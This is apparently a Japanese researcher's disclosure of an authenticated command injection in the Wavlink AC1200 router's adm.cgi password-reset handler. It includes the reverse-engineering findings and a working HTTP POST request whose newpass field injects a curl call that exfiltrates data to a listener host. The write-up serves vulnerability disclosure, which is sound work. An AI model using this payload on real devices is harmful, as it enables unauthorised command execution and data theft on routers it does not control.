
ファームウェアバージョン M32A3_V1410_230602 および M32A3_V1410_240222 の Wavlink AC1200 は、パスワードリセット中に認証後コマンドインジェクションの脆弱性があります。この脆弱性は、"adm.cgi" バイナリの "set_sys_adm" 関数内に特に見られ、ユーザーが提供した "newpass" フィールドの不適切なサニタイズが原因です。
最近のWavlink AC1200(モデル:WL-WN532A3)のセキュリティ調査中に、「/cgi-bin/adm.cgi」エンドポイントにおいて認証後のコマンドインジェクションの脆弱性が特定されました。この脆弱性により、ルーターの認証情報を入手した悪意のある攻撃者が任意のシェルコマンドを実行できる可能性があります。現在、この脆弱性に対してCVE番号の割り当てが保留されています。
Wavlink AC1200ルーターを受け取った際、ロードされていたファームウェアは「M32A3_V1410_230602」であることが確認されました。しかし、この特定のファームウェアバージョンは公式のWavlinkサポートサイトでは入手できませんでした。Wavlinkが提供していたのは、約8か月新しいM32A3_V1410_240222という1つのファームウェアバージョンのみでした。分析の過程で、新しい利用可能なファームウェアを調査しつつ、古いバージョンの脆弱性を悪用して、特定された脆弱性が両方のファームウェアバージョンに影響するかどうかを確認することにしました。これにより、デバイスから手動でファームウェアを抽出する必要もなくなりました。ルートファイルシステムの抽出は、単に「binwalk」の抽出機能を使用して行いました。M32A3_V1410_240222ファームウェアは以下のリンクからダウンロードできます:https://docs.wavlink.xyz/Firmware/fm-532a3/

初期の調査は、コマンドインジェクションの攻撃対象領域の特定に焦点を当てました。system、popen、およびシステムコマンドを実行するためのさまざまなインポートされたヘルパー関数への多くの呼び出しがありましたが、その多くは単に既製のbashスクリプトへの呼び出しであり、インジェクションは不可能でした。しかし、/etc_ro/lighttpd/www/cgi-bin/adm.cgi内のset_sys_adm関数におけるsystemへの1回の呼び出しは、sprintfを使用してフォーマットされたchar配列を渡しているため、一目見ただけで疑わしいと感じられました。さらに調査を進めた結果、この関数はユーザーが提供したパスワードの入力を;文字を探すことでサニタイズしようと試みていることが判明しました。しかし、このサニタイズは他のコマンドインジェクション手法を考慮していません。
以下の画像は、set_sys_admの逆アセンブリを示しています。一部の変数名は、この関数の分析を支援するために変更されています。画像から、関数は40行目でWebリクエストからpasswordフィールドを取得し、58〜60行目でそれがNULLでもセミコロン(;)を含まず、以前保存されたパスワードと同じ値でもないことを確認していることがわかります。その後、この値はsprintf呼び出しに渡され、次のようなコマンドが構築されます:echo "<username.:<password>" > /etc/lighttpd.user。このフォーマットされた文字列は、直ちにsystem呼び出しに渡されます。

これは素晴らしい発見でしたが、この脆弱性がWebポータルからどこからアクセスできるかを把握する必要がありました。この関数は「ログインパスワード」ページでパスワードをリセットする際に呼び出されることがすぐに特定されました。

このWebページを特定した後、HTTP POSTリクエストをBurp Suiteでキャプチャしました。リクエストは次のようになります。
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=12980
Accept-Encoding: gzip, deflate, br
Cookie: session=420022404
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello&NEWPASS2=hellohello
コマンドインジェクションの脆弱性を理解し、どこからアクセス可能かがわかったので、悪用を試みる段階となりました。次のリクエストは、ルーターにnetcatリスナーへのcurlリクエストを強制的に実行させ、同時にUser Agentフィールドを介してデータを外部に流出させるために送信されました。URLエンコード前にリクエストに配置しようとしたコマンドは次のとおりです:curl http://192.168.1.6:4567/ -A $(pwd)。HTTP POSTリクエストに配置されたコマンドは次のようになります。
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=76755
Accept-Encoding: gzip, deflate, br
Cookie: session=1783394974
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello\"+%26%26+curl+http%3a//192.168.1.6%3a4567+-A+$(pwd)&NEWPASS2=hellohello
リクエストを送信した後、脆弱性が悪用可能であることが確認できました。
